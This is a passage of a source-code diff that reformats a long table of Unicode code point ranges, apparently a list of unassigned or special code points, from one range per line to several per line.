- {0x0A9CE, 0x0A9CE}, - {0x0A9DA, 0x0A9DD}, - {0x0A9FF, 0x0A9FF}, - {0x0AA37, 0x0AA3F}, - {0x0AA4E, 0x0AA4F}, - {0x0AA5A, 0x0AA5B}, - {0x0AAC3, 0x0AADA}, - {0x0AAF7, 0x0AB00}, - {0x0AB07, 0x0AB08}, - {0x0AB0F, 0x0AB10}, - {0x0AB17, 0x0AB1F}, - {0x0AB27, 0x0AB27}, - {0x0AB2F, 0x0AB2F}, - {0x0AB6C, 0x0AB6F}, - {0x0ABEE, 0x0ABEF}, - {0x0ABFA, 0x0ABFF}, - {0x0AC01, 0x0D7A2}, - {0x0D7A4, 0x0D7AF}, - {0x0D7C7, 0x0D7CA}, - {0x0D7FC, 0x0D7FF}, - {0x0FA6E, 0x0FA6F}, - {0x0FADA, 0x0FAFF}, - {0x0FB07, 0x0FB12}, - {0x0FB18, 0x0FB1C}, - {0x0FB37, 0x0FB37}, - {0x0FB3D, 0x0FB3D}, - {0x0FB3F, 0x0FB3F}, - {0x0FB42, 0x0FB42}, - {0x0FB45, 0x0FB45}, - {0x0FBC3, 0x0FBD2}, - {0x0FD90, 0x0FD91}, - {0x0FDC8, 0x0FDCE}, - {0x0FE1A, 0x0FE1F}, - {0x0FE53, 0x0FE53}, - {0x0FE67, 0x0FE67}, - {0x0FE6C, 0x0FE6F}, - {0x0FE75, 0x0FE75}, - {0x0FEFD, 0x0FEFE}, - {0x0FF00, 0x0FF00}, - {0x0FFBF, 0x0FFC1}, - {0x0FFC8, 0x0FFC9}, - {0x0FFD0, 0x0FFD1}, - {0x0FFD8, 0x0FFD9}, - {0x0FFDD, 0x0FFDF}, - {0x0FFE7, 0x0FFE7}, - {0x0FFEF, 0x0FFF8}, - {0x1000C, 0x1000C}, - {0x10027, 0x10027}, - {0x1003B, 0x1003B}, - {0x1003E, 0x1003E}, - {0x1004E, 0x1004F}, - {0x1005E, 0x1007F}, - {0x100FB, 0x100FF}, - {0x10103, 0x10106}, - {0x10134, 0x10136}, - {0x1018F, 0x1018F}, - {0x1019D, 0x1019F}, - {0x101A1, 0x101CF}, - {0x101FE, 0x1027F}, - {0x1029D, 0x1029F}, - {0x102D1, 0x102DF}, - {0x102FC, 0x102FF}, - {0x10324, 0x1032C}, - {0x1034B, 0x1034F}, - {0x1037B, 0x1037F}, - {0x1039E, 0x1039E}, - {0x103C4, 0x103C7}, - {0x103D6, 0x103FF}, - {0x1049E, 0x1049F}, - {0x104AA, 0x104AF}, - {0x104D4, 0x104D7}, - {0x104FC, 0x104FF}, - {0x10528, 0x1052F}, - {0x10564, 0x1056E}, - {0x1057B, 0x1057B}, - {0x1058B, 0x1058B}, - {0x10593, 0x10593}, - {0x10596, 0x10596}, - {0x105A2, 0x105A2}, - {0x105B2, 0x105B2}, - {0x105BA, 0x105BA}, - {0x105BD, 0x105BF}, - {0x105F4, 0x105FF}, - {0x10737, 0x1073F}, - {0x10756, 0x1075F}, - {0x10768, 0x1077F}, - {0x10786, 0x10786}, - {0x107B1, 0x107B1}, - {0x107BB, 0x107FF}, - {0x10806, 0x10807}, - {0x10809, 0x10809}, - {0x10836, 0x10836}, - {0x10839, 0x1083B}, - {0x1083D, 0x1083E}, - {0x10856, 0x10856}, - {0x1089F, 0x108A6}, - {0x108B0, 0x108DF}, - {0x108F3, 0x108F3}, - {0x108F6, 0x108FA}, - {0x1091C, 0x1091E}, - {0x1093A, 0x1093E}, - {0x10940, 0x1097F}, - {0x109B8, 0x109BB}, - {0x109D0, 0x109D1}, - {0x10A04, 0x10A04}, - {0x10A07, 0x10A0B}, - {0x10A14, 0x10A14}, - {0x10A18, 0x10A18}, - {0x10A36, 0x10A37}, - {0x10A3B, 0x10A3E}, - {0x10A49, 0x10A4F}, - {0x10A59, 0x10A5F}, - {0x10AA0, 0x10ABF}, - {0x10AE7, 0x10AEA}, - {0x10AF7, 0x10AFF}, - {0x10B36, 0x10B38}, - {0x10B56, 0x10B57}, - {0x10B73, 0x10B77}, - {0x10B92, 0x10B98}, - {0x10B9D, 0x10BA8}, - {0x10BB0, 0x10BFF}, - {0x10C49, 0x10C7F}, - {0x10CB3, 0x10CBF}, - {0x10CF3, 0x10CF9}, - {0x10D28, 0x10D2F}, - {0x10D3A, 0x10D3F}, - {0x10D66, 0x10D68}, - {0x10D86, 0x10D8D}, - {0x10D90, 0x10E5F}, - {0x10E7F, 0x10E7F}, - {0x10EAA, 0x10EAA}, - {0x10EAE, 0x10EAF}, - {0x10EB2, 0x10EC1}, - {0x10EC5, 0x10EFB}, - {0x10F28, 0x10F2F}, - {0x10F5A, 0x10F6F}, - {0x10F8A, 0x10FAF}, - {0x10FCC, 0x10FDF}, - {0x10FF7, 0x10FFF}, - {0x1104E, 0x11051}, - {0x11076, 0x1107E}, - {0x110C3, 0x110CC}, - {0x110CE, 0x110CF}, - {0x110E9, 0x110EF}, - {0x110FA, 0x110FF}, - {0x11135, 0x11135}, - {0x11148, 0x1114F}, - {0x11177, 0x1117F}, - {0x111E0, 0x111E0}, - {0x111F5, 0x111FF}, - {0x11212, 0x11212}, - {0x11242, 0x1127F}, - {0x11287, 0x11287}, - {0x11289, 0x11289}, - {0x1128E, 0x1128E}, - {0x1129E, 0x1129E}, - {0x112AA, 0x112AF}, - {0x112EB, 0x112EF}, - {0x112FA, 0x112FF}, - {0x11304, 0x11304}, - {0x1130D, 0x1130E}, - {0x11311, 0x11312}, - {0x11329, 0x11329}, - {0x11331, 0x11331}, - {0x11334, 0x11334}, - {0x1133A, 0x1133A}, - {0x11345, 0x11346}, - {0x11349, 0x1134A}, - {0x1134E, 0x1134F}, - {0x11351, 0x11356}, - {0x11358, 0x1135C}, - {0x11364, 0x11365}, - {0x1136D, 0x1136F}, - {0x11375, 0x1137F}, - {0x1138A, 0x1138A}, - {0x1138C, 0x1138D}, - {0x1138F, 0x1138F}, - {0x113B6, 0x113B6}, - {0x113C1, 0x113C1}, - {0x113C3, 0x113C4}, - {0x113C6, 0x113C6}, - {0x113CB, 0x113CB}, - {0x113D6, 0x113D6}, - {0x113D9, 0x113E0}, - {0x113E3, 0x113FF}, - {0x1145C, 0x1145C}, - {0x11462, 0x1147F}, - {0x114C8, 0x114CF}, - {0x114DA, 0x1157F}, - {0x115B6, 0x115B7}, - {0x115DE, 0x115FF}, - {0x11645, 0x1164F}, - {0x1165A, 0x1165F}, - {0x1166D, 0x1167F}, - {0x116BA, 0x116BF}, - {0x116CA, 0x116CF}, - {0x116E4, 0x116FF}, - {0x1171B, 0x1171C}, - {0x1172C, 0x1172F}, - {0x11747, 0x117FF}, - {0x1183C, 0x1189F}, - {0x118F3, 0x118FE}, - {0x11907, 0x11908}, - {0x1190A, 0x1190B}, - {0x11914, 0x11914}, - {0x11917, 0x11917}, - {0x11936, 0x11936}, - {0x11939, 0x1193A}, - {0x11947, 0x1194F}, - {0x1195A, 0x1199F}, - {0x119A8, 0x119A9}, - {0x119D8, 0x119D9}, - {0x119E5, 0x119FF}, - {0x11A48, 0x11A4F}, - {0x11AA3, 0x11AAF}, - {0x11AF9, 0x11AFF}, - {0x11B0A, 0x11BBF}, - {0x11BE2, 0x11BEF}, - {0x11BFA, 0x11BFF}, - {0x11C09, 0x11C09}, - {0x11C37, 0x11C37}, - {0x11C46, 0x11C4F}, - {0x11C6D, 0x11C6F}, - {0x11C90, 0x11C91}, - {0x11CA8, 0x11CA8}, - {0x11CB7, 0x11CFF}, - {0x11D07, 0x11D07}, - {0x11D0A, 0x11D0A}, - {0x11D37, 0x11D39}, - {0x11D3B, 0x11D3B}, - {0x11D3E, 0x11D3E}, - {0x11D48, 0x11D4F}, - {0x11D5A, 0x11D5F}, - {0x11D66, 0x11D66}, - {0x11D69, 0x11D69}, - {0x11D8F, 0x11D8F}, - {0x11D92, 0x11D92}, - {0x11D99, 0x11D9F}, - {0x11DAA, 0x11EDF}, - {0x11EF9, 0x11EFF}, - {0x11F11, 0x11F11}, - {0x11F3B, 0x11F3D}, - {0x11F5B, 0x11FAF}, - {0x11FB1, 0x11FBF}, - {0x11FF2, 0x11FFE}, - {0x1239A, 0x123FF}, - {0x1246F, 0x1246F}, - {0x12475, 0x1247F}, - {0x12544, 0x12F8F}, - {0x12FF3, 0x12FFF}, - {0x13456, 0x1345F}, - {0x143FB, 0x143FF}, - {0x14647, 0x160FF}, - {0x1613A, 0x167FF}, - {0x16A39, 0x16A3F}, - {0x16A5F, 0x16A5F}, - {0x16A6A, 0x16A6D}, - {0x16ABF, 0x16ABF}, - {0x16ACA, 0x16ACF}, - {0x16AEE, 0x16AEF}, - {0x16AF6, 0x16AFF}, - {0x16B46, 0x16B4F}, - {0x16B5A, 0x16B5A}, - {0x16B62, 0x16B62}, - {0x16B78, 0x16B7C}, - {0x16B90, 0x16D3F}, - {0x16D7A, 0x16E3F}, - {0x16E9B, 0x16EFF}, - {0x16F4B, 0x16F4E}, - {0x16F88, 0x16F8E}, - {0x16FA0, 0x16FDF}, - {0x16FE5, 0x16FEF}, - {0x16FF2, 0x16FFF}, - {0x17001, 0x187F6}, - {0x187F8, 0x187FF}, - {0x18CD6, 0x18CFE}, - {0x18D01, 0x18D07}, - {0x18D09, 0x1AFEF}, - {0x1AFF4, 0x1AFF4}, - {0x1AFFC, 0x1AFFC}, - {0x1AFFF, 0x1AFFF}, - {0x1B123, 0x1B131}, - {0x1B133, 0x1B14F}, - {0x1B153, 0x1B154}, - {0x1B156, 0x1B163}, - {0x1B168, 0x1B16F}, - {0x1B2FC, 0x1BBFF}, - {0x1BC6B, 0x1BC6F}, - {0x1BC7D, 0x1BC7F}, - {0x1BC89, 0x1BC8F}, - {0x1BC9A, 0x1BC9B}, - {0x1BCA4, 0x1CBFF}, - {0x1CCFA, 0x1CCFF}, - {0x1CEB4, 0x1CEFF}, - {0x1CF2E, 0x1CF2F}, - {0x1CF47, 0x1CF4F}, - {0x1CFC4, 0x1CFFF}, - {0x1D0F6, 0x1D0FF}, - {0x1D127, 0x1D128}, - {0x1D1EB, 0x1D1FF}, - {0x1D246, 0x1D2BF}, - {0x1D2D4, 0x1D2DF}, - {0x1D2F4, 0x1D2FF}, - {0x1D357, 0x1D35F}, - {0x1D379, 0x1D3FF}, - {0x1D455, 0x1D455}, - {0x1D49D, 0x1D49D}, - {0x1D4A0, 0x1D4A1}, - {0x1D4A3, 0x1D4A4}, - {0x1D4A7, 0x1D4A8}, - {0x1D4AD, 0x1D4AD}, - {0x1D4BA, 0x1D4BA}, - {0x1D4BC, 0x1D4BC}, - {0x1D4C4, 0x1D4C4}, - {0x1D506, 0x1D506}, - {0x1D50B, 0x1D50C}, - {0x1D515, 0x1D515}, - {0x1D51D, 0x1D51D}, - {0x1D53A, 0x1D53A}, - {0x1D53F, 0x1D53F}, - {0x1D545, 0x1D545}, - {0x1D547, 0x1D549}, - {0x1D551, 0x1D551}, - {0x1D6A6, 0x1D6A7}, - {0x1D7CC, 0x1D7CD}, - {0x1DA8C, 0x1DA9A}, - {0x1DAA0, 0x1DAA0}, - {0x1DAB0, 0x1DEFF}, - {0x1DF1F, 0x1DF24}, - {0x1DF2B, 0x1DFFF}, - {0x1E007, 0x1E007}, - {0x1E019, 0x1E01A}, - {0x1E022, 0x1E022}, - {0x1E025, 0x1E025}, - {0x1E02B, 0x1E02F}, - {0x1E06E, 0x1E08E}, - {0x1E090, 0x1E0FF}, - {0x1E12D, 0x1E12F}, - {0x1E13E, 0x1E13F}, - {0x1E14A, 0x1E14D}, - {0x1E150, 0x1E28F}, - {0x1E2AF, 0x1E2BF}, - {0x1E2FA, 0x1E2FE}, - {0x1E300, 0x1E4CF}, - {0x1E4FA, 0x1E5CF}, - {0x1E5FB, 0x1E5FE}, - {0x1E600, 0x1E7DF}, - {0x1E7E7, 0x1E7E7}, - {0x1E7EC, 0x1E7EC}, - {0x1E7EF, 0x1E7EF}, - {0x1E7FF, 0x1E7FF}, - {0x1E8C5, 0x1E8C6}, - {0x1E8D7, 0x1E8FF}, - {0x1E94C, 0x1E94F}, - {0x1E95A, 0x1E95D}, - {0x1E960, 0x1EC70}, - {0x1ECB5, 0x1ED00}, - {0x1ED3E, 0x1EDFF}, - {0x1EE04, 0x1EE04}, - {0x1EE20, 0x1EE20}, - {0x1EE23, 0x1EE23}, - {0x1EE25, 0x1EE26}, - {0x1EE28, 0x1EE28}, - {0x1EE33, 0x1EE33}, - {0x1EE38, 0x1EE38}, - {0x1EE3A, 0x1EE3A}, - {0x1EE3C, 0x1EE41}, - {0x1EE43, 0x1EE46}, - {0x1EE48, 0x1EE48}, - {0x1EE4A, 0x1EE4A}, - {0x1EE4C, 0x1EE4C}, - {0x1EE50, 0x1EE50}, - {0x1EE53, 0x1EE53}, - {0x1EE55, 0x1EE56}, - {0x1EE58, 0x1EE58}, - {0x1EE5A, 0x1EE5A}, - {0x1EE5C, 0x1EE5C}, - {0x1EE5E, 0x1EE5E}, - {0x1EE60, 0x1EE60}, - {0x1EE63, 0x1EE63}, - {0x1EE65, 0x1EE66}, - {0x1EE6B, 0x1EE6B}, - {0x1EE73, 0x1EE73}, - {0x1EE78, 0x1EE78}, - {0x1EE7D, 0x1EE7D}, - {0x1EE7F, 0x1EE7F}, - {0x1EE8A, 0x1EE8A}, - {0x1EE9C, 0x1EEA0}, - {0x1EEA4, 0x1EEA4}, - {0x1EEAA, 0x1EEAA}, - {0x1EEBC, 0x1EEEF}, - {0x1EEF2, 0x1EFFF}, - {0x1F02C, 0x1F02F}, - {0x1F094, 0x1F09F}, - {0x1F0AF, 0x1F0B0}, - {0x1F0C0, 0x1F0C0}, - {0x1F0D0, 0x1F0D0}, - {0x1F0F6, 0x1F0FF}, - {0x1F1AE, 0x1F1E5}, - {0x1F203, 0x1F20F}, - {0x1F23C, 0x1F23F}, - {0x1F249, 0x1F24F}, - {0x1F252, 0x1F25F}, - {0x1F266, 0x1F2FF}, - {0x1F6D8, 0x1F6DB}, - {0x1F6ED, 0x1F6EF}, - {0x1F6FD, 0x1F6FF}, - {0x1F777, 0x1F77A}, - {0x1F7DA, 0x1F7DF}, - {0x1F7EC, 0x1F7EF}, - {0x1F7F1, 0x1F7FF}, - {0x1F80C, 0x1F80F}, - {0x1F848, 0x1F84F}, - {0x1F85A, 0x1F85F}, - {0x1F888, 0x1F88F}, - {0x1F8AE, 0x1F8AF}, - {0x1F8BC, 0x1F8BF}, - {0x1F8C2, 0x1F8FF}, - {0x1FA54, 0x1FA5F}, - {0x1FA6E, 0x1FA6F}, - {0x1FA7D, 0x1FA7F}, - {0x1FA8A, 0x1FA8E}, - {0x1FAC7, 0x1FACD}, - {0x1FADD, 0x1FADE}, - {0x1FAEA, 0x1FAEF}, - {0x1FAF9, 0x1FAFF}, - {0x1FB93, 0x1FB93}, - {0x1FBFA, 0x1FFFD}, - {0x20001, 0x2A6DE}, - {0x2A6E0, 0x2A6FF}, - {0x2A701, 0x2B738}, - {0x2B73A, 0x2B73F}, - {0x2B741, 0x2B81C}, - {0x2B81E, 0x2B81F}, - {0x2B821, 0x2CEA0}, - {0x2CEA2, 0x2CEAF}, - {0x2CEB1, 0x2EBDF}, - {0x2EBE1, 0x2EBEF}, - {0x2EBF1, 0x2EE5C}, - {0x2EE5E, 0x2F7FF}, - {0x2FA1E, 0x2FFFD}, - {0x30001, 0x31349}, - {0x3134B, 0x3134F}, - {0x31351, 0x323AE}, - {0x323B0, 0x3FFFD}, - {0x40000, 0x4FFFD}, - {0x50000, 0x5FFFD}, - {0x60000, 0x6FFFD}, - {0x70000, 0x7FFFD}, - {0x80000, 0x8FFFD}, - {0x90000, 0x9FFFD}, - {0xA0000, 0xAFFFD}, - {0xB0000, 0xBFFFD}, - {0xC0000, 0xCFFFD}, - {0xD0000, 0xDFFFD}, - {0xE0000, 0xE0000}, - {0xE0002, 0xE001F}, - {0xE0080, 0xE00FF}, - {0xE01F0, 0xEFFFD} -}; + {0x00378, 0x00379}, {0x00380, 0x00383}, {0x0038B, 0x0038B}, {0x0038D, 0x0038D}, {0x003A2, 0x003A2}, + {0x00530, 0x00530}, {0x00557, 0x00558}, {0x0058B, 0x0058C}, {0x00590, 0x00590}, {0x005C8, 0x005CF}, + {0x005EB, 0x005EE}, {0x005F5, 0x005FF}, {0x0070E, 0x0070E}, {0x0074B, 0x0074C}, {0x007B2, 0x007BF}, + {0x007FB, 0x007FC}, {0x0082E, 0x0082F}, {0x0083F, 0x0083F}, {0x0085C, 0x0085D}, {0x0085F, 0x0085F}, + {0x0086B, 0x0086F}, {0x0088F, 0x0088F}, {0x00892, 0x00896}, {0x00984, 0x00984}, {0x0098D, 0x0098E}, + {0x00991, 0x00992}, {0x009A9, 0x009A9}, {0x009B1, 0x009B1}, {0x009B3, 0x009B5}, {0x009BA, 0x009BB}, + {0x009C5, 0x009C6}, {0x009C9, 0x009CA}, {0x009CF, 0x009D6}, {0x009D8, 0x009DB}, {0x009DE, 0x009DE}, + {0x009E4, 0x009E5}, {0x009FF, 0x00A00}, {0x00A04, 0x00A04}, {0x00A0B, 0x00A0E}, {0x00A11, 0x00A12}, + {0x00A29, 0x00A29}, {0x00A31, 0x00A31}, {0x00A34, 0x00A34}, {0x00A37, 0x00A37}, {0x00A3A, 0x00A3B}, + {0x00A3D, 0x00A3D}, {0x00A43, 0x00A46}, {0x00A49, 0x00A4A}, {0x00A4E, 0x00A50}, {0x00A52, 0x00A58}, + {0x00A5D, 0x00A5D}, {0x00A5F, 0x00A65}, {0x00A77, 0x00A80}, {0x00A84, 0x00A84}, {0x00A8E, 0x00A8E}, + {0x00A92, 0x00A92}, {0x00AA9, 0x00AA9}, {0x00AB1, 0x00AB1}, {0x00AB4, 0x00AB4}, {0x00ABA, 0x00ABB}, + {0x00AC6, 0x00AC6}, {0x00ACA, 0x00ACA}, {0x00ACE, 0x00ACF}, {0x00AD1, 0x00ADF}, {0x00AE4, 0x00AE5}, + {0x00AF2, 0x00AF8}, {0x00B00, 0x00B00}, {0x00B04, 0x00B04}, {0x00B0D, 0x00B0E}, {0x00B11, 0x00B12}, + {0x00B29, 0x00B29}, {0x00B31, 0x00B31}, {0x00B34, 0x00B34}, {0x00B3A, 0x00B3B}, {0x00B45, 0x00B46}, + {0x00B49, 0x00B4A}, {0x00B4E, 0x00B54}, {0x00B58, 0x00B5B}, {0x00B5E, 0x00B5E}, {0x00B64, 0x00B65}, + {0x00B78, 0x00B81}, {0x00B84, 0x00B84}, {0x00B8B, 0x00B8D}, {0x00B91, 0x00B91}, {0x00B96, 0x00B98}, + {0x00B9B, 0x00B9B}, {0x00B9D, 0x00B9D}, {0x00BA0, 0x00BA2}, {0x00BA5, 0x00BA7}, {0x00BAB, 0x00BAD}, + {0x00BBA, 0x00BBD}, {0x00BC3, 0x00BC5}, {0x00BC9, 0x00BC9}, {0x00BCE, 0x00BCF}, {0x00BD1, 0x00BD6}, + {0x00BD8, 0x00BE5}, {0x00BFB, 0x00BFF}, {0x00C0D, 0x00C0D}, {0x00C11, 0x00C11}, {0x00C29, 0x00C29}, + {0x00C3A, 0x00C3B}, {0x00C45, 0x00C45}, {0x00C49, 0x00C49}, {0x00C4E, 0x00C54}, {0x00C57, 0x00C57}, + {0x00C5B, 0x00C5C}, {0x00C5E, 0x00C5F}, {0x00C64, 0x00C65}, {0x00C70, 0x00C76}, {0x00C8D, 0x00C8D}, + {0x00C91, 0x00C91}, {0x00CA9, 0x00CA9}, {0x00CB4, 0x00CB4}, {0x00CBA, 0x00CBB}, {0x00CC5, 0x00CC5}, + {0x00CC9, 0x00CC9}, {0x00CCE, 0x00CD4}, {0x00CD7, 0x00CDC}, {0x00CDF, 0x00CDF}, {0x00CE4, 0x00CE5}, + {0x00CF0, 0x00CF0}, {0x00CF4, 0x00CFF}, {0x00D0D, 0x00D0D}, {0x00D11, 0x00D11}, {0x00D45, 0x00D45}, + {0x00D49, 0x00D49}, {0x00D50, 0x00D53}, {0x00D64, 0x00D65}, {0x00D80, 0x00D80}, {0x00D84, 0x00D84}, + {0x00D97, 0x00D99}, {0x00DB2, 0x00DB2}, {0x00DBC, 0x00DBC}, {0x00DBE, 0x00DBF}, {0x00DC7, 0x00DC9}, + {0x00DCB, 0x00DCE}, {0x00DD5, 0x00DD5}, {0x00DD7, 0x00DD7}, {0x00DE0, 0x00DE5}, {0x00DF0, 0x00DF1}, + {0x00DF5, 0x00E00}, {0x00E3B, 0x00E3E}, {0x00E5C, 0x00E80}, {0x00E83, 0x00E83}, {0x00E85, 0x00E85}, + {0x00E8B, 0x00E8B}, {0x00EA4, 0x00EA4}, {0x00EA6, 0x00EA6}, {0x00EBE, 0x00EBF}, {0x00EC5, 0x00EC5}, + {0x00EC7, 0x00EC7}, {0x00ECF, 0x00ECF}, {0x00EDA, 0x00EDB}, {0x00EE0, 0x00EFF}, {0x00F48, 0x00F48}, + {0x00F6D, 0x00F70}, {0x00F98, 0x00F98}, {0x00FBD, 0x00FBD}, {0x00FCD, 0x00FCD}, {0x00FDB, 0x00FFF}, + {0x010C6, 0x010C6}, {0x010C8, 0x010CC}, {0x010CE, 0x010CF}, {0x01249, 0x01249}, {0x0124E, 0x0124F}, + {0x01257, 0x01257}, {0x01259, 0x01259}, {0x0125E, 0x0125F}, {0x01289, 0x01289}, {0x0128E, 0x0128F}, + {0x012B1, 0x012B1}, {0x012B6, 0x012B7}, {0x012BF, 0x012BF}, {0x012C1, 0x012C1}, {0x012C6, 0x012C7}, + {0x012D7, 0x012D7}, {0x01311, 0x01311}, {0x01316, 0x01317}, {0x0135B, 0x0135C}, {0x0137D, 0x0137F}, + {0x0139A, 0x0139F}, {0x013F6, 0x013F7}, {0x013FE, 0x013FF}, {0x0169D, 0x0169F}, {0x016F9, 0x016FF}, + {0x01716, 0x0171E}, {0x01737, 0x0173F}, {0x01754, 0x0175F}, {0x0176D, 0x0176D}, {0x01771, 0x01771}, + {0x01774, 0x0177F}, {0x017DE, 0x017DF}, {0x017EA, 0x017EF}, {0x017FA, 0x017FF}, {0x0181A, 0x0181F}, + {0x01879, 0x0187F}, {0x018AB, 0x018AF}, {0x018F6, 0x018FF}, {0x0191F, 0x0191F}, {0x0192C, 0x0192F}, + {0x0193C, 0x0193F}, {0x01941, 0x01943}, {0x0196E, 0x0196F}, {0x01975, 0x0197F}, {0x019AC, 0x019AF}, + {0x019CA, 0x019CF}, {0x019DB, 0x019DD}, {0x01A1C, 0x01A1D}, {0x01A5F, 0x01A5F}, {0x01A7D, 0x01A7E}, + {0x01A8A, 0x01A8F}, {0x01A9A, 0x01A9F}, {0x01AAE, 0x01AAF}, {0x01ACF, 0x01AFF}, {0x01B4D, 0x01B4D}, + {0x01BF4, 0x01BFB}, {0x01C38, 0x01C3A}, {0x01C4A, 0x01C4C}, {0x01C8B, 0x01C8F}, {0x01CBB, 0x01CBC}, + {0x01CC8, 0x01CCF}, {0x01CFB, 0x01CFF}, {0x01F16, 0x01F17}, {0x01F1E, 0x01F1F}, {0x01F46, 0x01F47}, + {0x01F4E, 0x01F4F}, {0x01F58, 0x01F58}, {0x01F5A, 0x01F5A}, {0x01F5C, 0x01F5C}, {0x01F5E, 0x01F5E}, + {0x01F7E, 0x01F7F}, {0x01FB5, 0x01FB5}, {0x01FC5, 0x01FC5}, {0x01FD4, 0x01FD5}, {0x01FDC, 0x01FDC}, + {0x01FF0, 0x01FF1}, {0x01FF5, 0x01FF5}, {0x01FFF, 0x01FFF}, {0x02065, 0x02065}, {0x02072, 0x02073}, + {0x0208F, 0x0208F}, {0x0209D, 0x0209F}, {0x020C1, 0x020CF}, {0x020F1, 0x020FF}, {0x0218C, 0x0218F}, + {0x0242A, 0x0243F}, {0x0244B, 0x0245F}, {0x02B74, 0x02B75}, {0x02B96, 0x02B96}, {0x02CF4, 0x02CF8}, + {0x02D26, 0x02D26}, {0x02D28, 0x02D2C}, {0x02D2E, 0x02D2F}, {0x02D68, 0x02D6E}, {0x02D71, 0x02D7E}, + {0x02D97, 0x02D9F}, {0x02DA7, 0x02DA7}, {0x02DAF, 0x02DAF}, {0x02DB7, 0x02DB7}, {0x02DBF, 0x02DBF}, + {0x02DC7, 0x02DC7}, {0x02DCF, 0x02DCF}, {0x02DD7, 0x02DD7}, {0x02DDF, 0x02DDF}, {0x02E5E, 0x02E7F}, + {0x02E9A, 0x02E9A}, {0x02EF4, 0x02EFF}, {0x02FD6, 0x02FEF}, {0x03040, 0x03040}, {0x03097, 0x03098}, + {0x03100, 0x03104}, {0x03130, 0x03130}, {0x0318F, 0x0318F}, {0x031E6, 0x031EE}, {0x0321F, 0x0321F}, + {0x03401, 0x04DBE}, {0x04E01, 0x09FFE}, {0x0A48D, 0x0A48F}, {0x0A4C7, 0x0A4CF}, {0x0A62C, 0x0A63F}, + {0x0A6F8, 0x0A6FF}, {0x0A7CE, 0x0A7CF}, {0x0A7D2, 0x0A7D2}, {0x0A7D4, 0x0A7D4}, {0x0A7DD, 0x0A7F1}, + {0x0A82D, 0x0A82F}, {0x0A83A, 0x0A83F}, {0x0A878, 0x0A87F}, {0x0A8C6, 0x0A8CD}, {0x0A8DA, 0x0A8DF}, + {0x0A954, 0x0A95E}, {0x0A97D, 0x0A97F}, {0x0A9CE, 0x0A9CE}, {0x0A9DA, 0x0A9DD}, {0x0A9FF, 0x0A9FF}, + {0x0AA37, 0x0AA3F}, {0x0AA4E, 0x0AA4F}, {0x0AA5A, 0x0AA5B}, {0x0AAC3, 0x0AADA}, {0x0AAF7, 0x0AB00}, + {0x0AB07, 0x0AB08}, {0x0AB0F, 0x0AB10}, {0x0AB17, 0x0AB1F}, {0x0AB27, 0x0AB27}, {0x0AB2F, 0x0AB2F}, + {0x0AB6C, 0x0AB6F}, {0x0ABEE, 0x0ABEF}, {0x0ABFA, 0x0ABFF}, {0x0AC01, 0x0D7A2}, {0x0D7A4, 0x0D7AF}, + {0x0D7C7, 0x0D7CA}, {0x0D7FC, 0x0D7FF}, {0x0FA6E, 0x0FA6F}, {0x0FADA, 0x0FAFF}, {0x0FB07, 0x0FB12}, + {0x0FB18, 0x0FB1C}, {0x0FB37, 0x0FB37}, {0x0FB3D, 0x0FB3D}, {0x0FB3F, 0x0FB3F}, {0x0FB42, 0x0FB42}, + {0x0FB45, 0x0FB45}, {0x0FBC3, 0x0FBD2}, {0x0FD90, 0x0FD91}, {0x0FDC8, 0x0FDCE}, {0x0FE1A, 0x0FE1F}, + {0x0FE53, 0x0FE53}, {0x0FE67, 0x0FE67}, {0x0FE6C, 0x0FE6F}, {0x0FE75, 0x0FE75}, {0x0FEFD, 0x0FEFE}, + {0x0FF00, 0x0FF00}, {0x0FFBF, 0x0FFC1}, {0x0FFC8, 0x0FFC9}, {0x0FFD0, 0x0FFD1}, {0x0FFD8, 0x0FFD9}, + {0x0FFDD, 0x0FFDF}, {0x0FFE7, 0x0FFE7}, {0x0FFEF, 0x0FFF8}, {0x1000C, 0x1000C}, {0x10027, 0x10027}, + {0x1003B, 0x1003B}, {0x1003E, 0x1003E}, {0x1004E, 0x1004F}, {0x1005E, 0x1007F}, {0x100FB, 0x100FF}, + {0x10103, 0x10106}, {0x10134, 0x10136}, {0x1018F, 0x1018F}, {0x1019D, 0x1019F}, {0x101A1, 0x101CF}, + {0x101FE, 0x1027F}, {0x1029D, 0x1029F}, {0x102D1, 0x102DF}, {0x102FC, 0x102FF}, {0x10324, 0x1032C}, + {0x1034B, 0x1034F}, {0x1037B, 0x1037F}, {0x1039E, 0x1039E}, {0x103C4, 0x103C7}, {0x103D6, 0x103FF}, + {0x1049E, 0x1049F}, {0x104AA, 0x104AF}, {0x104D4, 0x104D7}, {0x104FC, 0x104FF}, {0x10528, 0x1052F}, + {0x10564, 0x1056E}, {0x1057B, 0x1057B}, {0x1058B, 0x1058B}, {0x10593, 0x10593}, {0x10596, 0x10596}, + {0x105A2, 0x105A2}, {0x105B2, 0x105B2}, {0x105BA, 0x105BA}, {0x105BD, 0x105BF}, {0x105F4, 0x105FF}, + {0x10737, 0x1073F}, {0x10756, 0x1075F}, {0x10768, 0x1077F}, {0x10786, 0x10786}, {0x107B1, 0x107B1}, + {0x107BB, 0x107FF}, {0x10806, 0x10807}, {0x10809, 0x10809}, {0x10836, 0x10836}, {0x10839, 0x1083B}, + {0x1083D, 0x1083E}, {0x10856, 0x10856}, {0x1089F, 0x108A6}, {0x108B0, 0x108DF}, {0x108F3, 0x108F3}, + {0x108F6, 0x108FA}, {0x1091C, 0x1091E}, {0x1093A, 0x1093E}, {0x10940, 0x1097F}, {0x109B8, 0x109BB}, + {0x109D0, 0x109D1}, {0x10A04, 0x10A04}, {0x10A07, 0x10A0B}, {0x10A14, 0x10A14}, {0x10A18, 0x10A18}, + {0x10A36, 0x10A37}, {0x10A3B, 0x10A3E}, {0x10A49, 0x10A4F}, {0x10A59, 0x10A5F}, {0x10AA0, 0x10ABF}, + {0x10AE7, 0x10AEA}, {0x10AF7, 0x10AFF}, {0x10B36, 0x10B38}, {0x10B56, 0x10B57}, {0x10B73, 0x10B77}, + {0x10B92, 0x10B98}, {0x10B9D, 0x10BA8}, {0x10BB0, 0x10BFF}, {0x10C49, 0x10C7F}, {0x10CB3, 0x10CBF}, + {0x10CF3, 0x10CF9}, {0x10D28, 0x10D2F}, {0x10D3A, 0x10D3F}, {0x10D66, 0x10D68}, {0x10D86, 0x10D8D}, + {0x10D90, 0x10E5F}, {0x10E7F, 0x10E7F}, {0x10EAA, 0x10EAA}, {0x10EAE, 0x10EAF}, {0x10EB2, 0x10EC1}, + {0x10EC5, 0x10EFB}, {0x10F28, 0x10F2F}, {0x10F5A, 0x10F6F}, {0x10F8A, 0x10FAF}, {0x10FCC, 0x10FDF}, + {0x10FF7, 0x10FFF}, {0x1104E, 0x11051}, {0x11076, 0x1107E}, 